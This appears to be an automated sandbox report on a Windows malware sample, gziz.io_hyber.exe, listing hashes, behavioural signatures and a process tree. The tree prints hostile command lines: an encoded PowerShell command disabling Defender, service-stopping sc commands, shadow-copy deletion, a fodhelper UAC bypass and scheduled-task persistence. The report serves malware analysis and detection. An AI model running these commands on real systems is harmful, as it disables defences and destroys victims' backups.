Analysis
- max time kernel
149s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
07/08/2026, 01:01
Static task
static1
2 signatures
Behavioral task
behavioral1
Sample
gziz.io_hyber.exe
Resource
win10v2004-20260513-en
windows10-2004-x64
38 signatures
150 seconds
Behavioral task
behavioral2
Sample
gziz.io_hyber.exe
Resource
win11ltsc2024-20260709-en
windows11-ltsc_2024-x64
39 signatures
150 seconds
General
- Target gziz.io_hyber.exe
- Size 49KB
- Sample260807-bddmjsdp8y
- SHA256 1806775dea274c5890282c066ae808edf112368af3e3be7a3fcbbfe938831b4c
- MD5 61e3fe0ead86d0a7b1a190217a163866
- SHA1 e827815ac9542916178a2ecf183e663b2e4f0e15
- SHA512 72d548cb042b6bca722e45bceaf0285b1a41b7c06bb61df75b496bcc12c5dfadef2fbc0ce390e89ab534c341999d80da3f102235fdf7808ccd41785d36fcb0ca
- SSDEEP 768:6rVZZ6zs0hpTbkZnLqM/NKPzfX/fhY4d:QZ6Hh1bkpWMGP/fhY4d
- TLSH T1D833F64937ED4526E1BF8EBE89B291119731F4539C23D79E0AD8459E09F3700CCA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/2960-1-0x0000000000210000-0x0000000000222000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" gziz.io_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 5860 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" gziz.io_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts gziz.io_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 2208 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_7.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_33.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_11.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_25.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_82.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_96.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_180.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_38.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_84.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_118.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_185.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_189.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_191.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_32.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_50.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_87.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_177.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_199.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_2.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_13.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_26.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_63.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_69.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_94.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_71.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_85.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_182.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_72.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_140.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_150.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_162.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_167.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_36.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_78.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_192.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_42.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_111.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_27.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_102.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_115.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_121.pdf gziz.io_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_145.pdf gziz.io_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf gziz.io_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gziz.io_hyber.exe" gziz.io_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 1208 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File created C:\Windows\system32\sysupdate.exe gziz.io_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe gziz.io_hyber.exe File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe gziz.io_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 1880 wscript.exe 5208 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" gziz.io_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\1293781730.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 3952 sc.exe 572 sc.exe 3264 sc.exe 5400 sc.exe 4980 sc.exe 4584 sc.exe 5896 sc.exe 4136 sc.exe 1108 sc.exe 428 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 5424 cmd.exe 3196 cmd.exe 2608 cmd.exe 5404 cmd.exe 2504 cmd.exe 1984 cmd.exe 4248 cmd.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3188 NETSTAT.EXE 2752 ipconfig.exe - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 2980 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 5384 vssadmin.exe 720 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000\Control Panel\Desktop\WallpaperStyle = "2" gziz.io_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings gziz.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" gziz.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell gziz.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings gziz.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open gziz.io_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\gziz.io_hyber.exe\" \"%1\"" gziz.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open gziz.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell gziz.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command gziz.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open gziz.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\DelegateExecute gziz.io_hyber.exe Key created \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell gziz.io_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\gziz.io_hyber.exe" gziz.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command gziz.io_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet gziz.io_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-552508041-2681165170-3229858294-1000_Classes\ms-settings\shell\open\command gziz.io_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5092 schtasks.exe 1216 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 5860 powershell.exe 5860 powershell.exe 5860 powershell.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 4756 WMIC.exe 4756 WMIC.exe 4756 WMIC.exe 4756 WMIC.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 4436 WMIC.exe 4436 WMIC.exe 4436 WMIC.exe 4436 WMIC.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe 2960 gziz.io_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1812 LogonUI.exe Token: SeCreatePagefilePrivilege 1812 LogonUI.exe Token: SeDebugPrivilege 2960 gziz.io_hyber.exe Token: SeDebugPrivilege 5860 powershell.exe Token: SeIncreaseQuotaPrivilege 5860 powershell.exe Token: SeSecurityPrivilege 5860 powershell.exe Token: SeTakeOwnershipPrivilege 5860 powershell.exe Token: SeLoadDriverPrivilege 5860 powershell.exe Token: SeSystemProfilePrivilege 5860 powershell.exe Token: SeSystemtimePrivilege 5860 powershell.exe Token: SeProfSingleProcessPrivilege 5860 powershell.exe Token: SeIncBasePriorityPrivilege 5860 powershell.exe Token: SeCreatePagefilePrivilege 5860 powershell.exe Token: SeBackupPrivilege 5860 powershell.exe Token: SeRestorePrivilege 5860 powershell.exe Token: SeShutdownPrivilege 5860 powershell.exe Token: SeDebugPrivilege 5860 powershell.exe Token: SeSystemEnvironmentPrivilege 5860 powershell.exe Token: SeRemoteShutdownPrivilege 5860 powershell.exe Token: SeUndockPrivilege 5860 powershell.exe Token: SeManageVolumePrivilege 5860 powershell.exe Token: 33 5860 powershell.exe Token: 34 5860 powershell.exe Token: 35 5860 powershell.exe Token: 36 5860 powershell.exe Token: SeIncBasePriorityPrivilege 2960 gziz.io_hyber.exe Token: SeIncreaseQuotaPrivilege 5860 powershell.exe Token: SeSecurityPrivilege 5860 powershell.exe Token: SeTakeOwnershipPrivilege 5860 powershell.exe Token: SeLoadDriverPrivilege 5860 powershell.exe Token: SeSystemProfilePrivilege 5860 powershell.exe Token: SeSystemtimePrivilege 5860 powershell.exe Token: SeProfSingleProcessPrivilege 5860 powershell.exe Token: SeIncBasePriorityPrivilege 5860 powershell.exe Token: SeCreatePagefilePrivilege 5860 powershell.exe Token: SeBackupPrivilege 5860 powershell.exe Token: SeRestorePrivilege 5860 powershell.exe Token: SeShutdownPrivilege 5860 powershell.exe Token: SeDebugPrivilege 5860 powershell.exe Token: SeSystemEnvironmentPrivilege 5860 powershell.exe Token: SeRemoteShutdownPrivilege 5860 powershell.exe Token: SeUndockPrivilege 5860 powershell.exe Token: SeManageVolumePrivilege 5860 powershell.exe Token: 33 5860 powershell.exe Token: 34 5860 powershell.exe Token: 35 5860 powershell.exe Token: 36 5860 powershell.exe Token: SeDebugPrivilege 1208 tasklist.exe Token: SeDebugPrivilege 2400 whoami.exe Token: SeIncreaseQuotaPrivilege 4756 WMIC.exe Token: SeSecurityPrivilege 4756 WMIC.exe Token: SeTakeOwnershipPrivilege 4756 WMIC.exe Token: SeLoadDriverPrivilege 4756 WMIC.exe Token: SeSystemProfilePrivilege 4756 WMIC.exe Token: SeSystemtimePrivilege 4756 WMIC.exe Token: SeProfSingleProcessPrivilege 4756 WMIC.exe Token: SeIncBasePriorityPrivilege 4756 WMIC.exe Token: SeCreatePagefilePrivilege 4756 WMIC.exe Token: SeBackupPrivilege 4756 WMIC.exe Token: SeRestorePrivilege 4756 WMIC.exe Token: SeShutdownPrivilege 4756 WMIC.exe Token: SeDebugPrivilege 4756 WMIC.exe Token: SeSystemEnvironmentPrivilege 4756 WMIC.exe Token: SeRemoteShutdownPrivilege 4756 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 2960 gziz.io_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1812 LogonUI.exe 1812 LogonUI.exe 2960 gziz.io_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 2960 wrote to memory of 5860 2960 gziz.io_hyber.exe 91 PID 2960 wrote to memory of 4136 2960 gziz.io_hyber.exe 93 PID 2960 wrote to memory of 1108 2960 gziz.io_hyber.exe 95 PID 2960 wrote to memory of 572 2960 gziz.io_hyber.exe 97 PID 2960 wrote to memory of 3952 2960 gziz.io_hyber.exe 99 PID 2960 wrote to memory of 428 2960 gziz.io_hyber.exe 101 PID 2960 wrote to memory of 3264 2960 gziz.io_hyber.exe 103 PID 2960 wrote to memory of 4980 2960 gziz.io_hyber.exe 105 PID 2960 wrote to memory of 5400 2960 gziz.io_hyber.exe 107 PID 2960 wrote to memory of 5188 2960 gziz.io_hyber.exe 109 PID 5188 wrote to memory of 3880 5188 fodhelper.exe 110 PID 2960 wrote to memory of 1880 2960 gziz.io_hyber.exe 160 PID 2960 wrote to memory of 5092 2960 gziz.io_hyber.exe 113 PID 2960 wrote to memory of 1984 2960 gziz.io_hyber.exe 120 PID 2960 wrote to memory of 4248 2960 gziz.io_hyber.exe 122 PID 2960 wrote to memory of 2504 2960 gziz.io_hyber.exe 123 PID 2960 wrote to memory of 5404 2960 gziz.io_hyber.exe 124 PID 2960 wrote to memory of 2608 2960 gziz.io_hyber.exe 125 PID 2960 wrote to memory of 3196 2960 gziz.io_hyber.exe 126 PID 2960 wrote to memory of 5424 2960 gziz.io_hyber.exe 127 PID 2960 wrote to memory of 1216 2960 gziz.io_hyber.exe 130 PID 2960 wrote to memory of 5208 2960 gziz.io_hyber.exe 162 PID 2960 wrote to memory of 5848 2960 gziz.io_hyber.exe 137 PID 5404 wrote to memory of 2400 5404 cmd.exe 138 PID 2504 wrote to memory of 1208 2504 cmd.exe 139 PID 2960 wrote to memory of 720 2960 gziz.io_hyber.exe 140 PID 2960 wrote to memory of 4756 2960 gziz.io_hyber.exe 141 PID 2960 wrote to memory of 828 2960 gziz.io_hyber.exe 142 PID 2960 wrote to memory of 2208 2960 gziz.io_hyber.exe 143 PID 2960 wrote to memory of 4584 2960 gziz.io_hyber.exe 144 PID 2960 wrote to memory of 5896 2960 gziz.io_hyber.exe 148 PID 1984 wrote to memory of 5384 1984 cmd.exe 152 PID 2608 wrote to memory of 1728 2608 cmd.exe 153 PID 4248 wrote to memory of 2980 4248 cmd.exe 154 PID 1728 wrote to memory of 4356 1728 net.exe 155 PID 5424 wrote to memory of 3188 5424 cmd.exe 157 PID 828 wrote to memory of 4484 828 net.exe 158 PID 3196 wrote to memory of 2752 3196 cmd.exe 159 PID 1984 wrote to memory of 4436 1984 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\gziz.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\gziz.io_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2960 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5860
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:4136
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:1108
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:572
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:3952
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:428
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:3264
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:4980
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:5400
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5188 -
C:\Users\Admin\AppData\Local\Temp\gziz.io_hyber.exe"C:\Users\Admin\AppData\Local\Temp\gziz.io_hyber.exe"3⤵PID:3880
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:1880
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\gziz.io_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5092
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1984 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:5384
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:4436
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
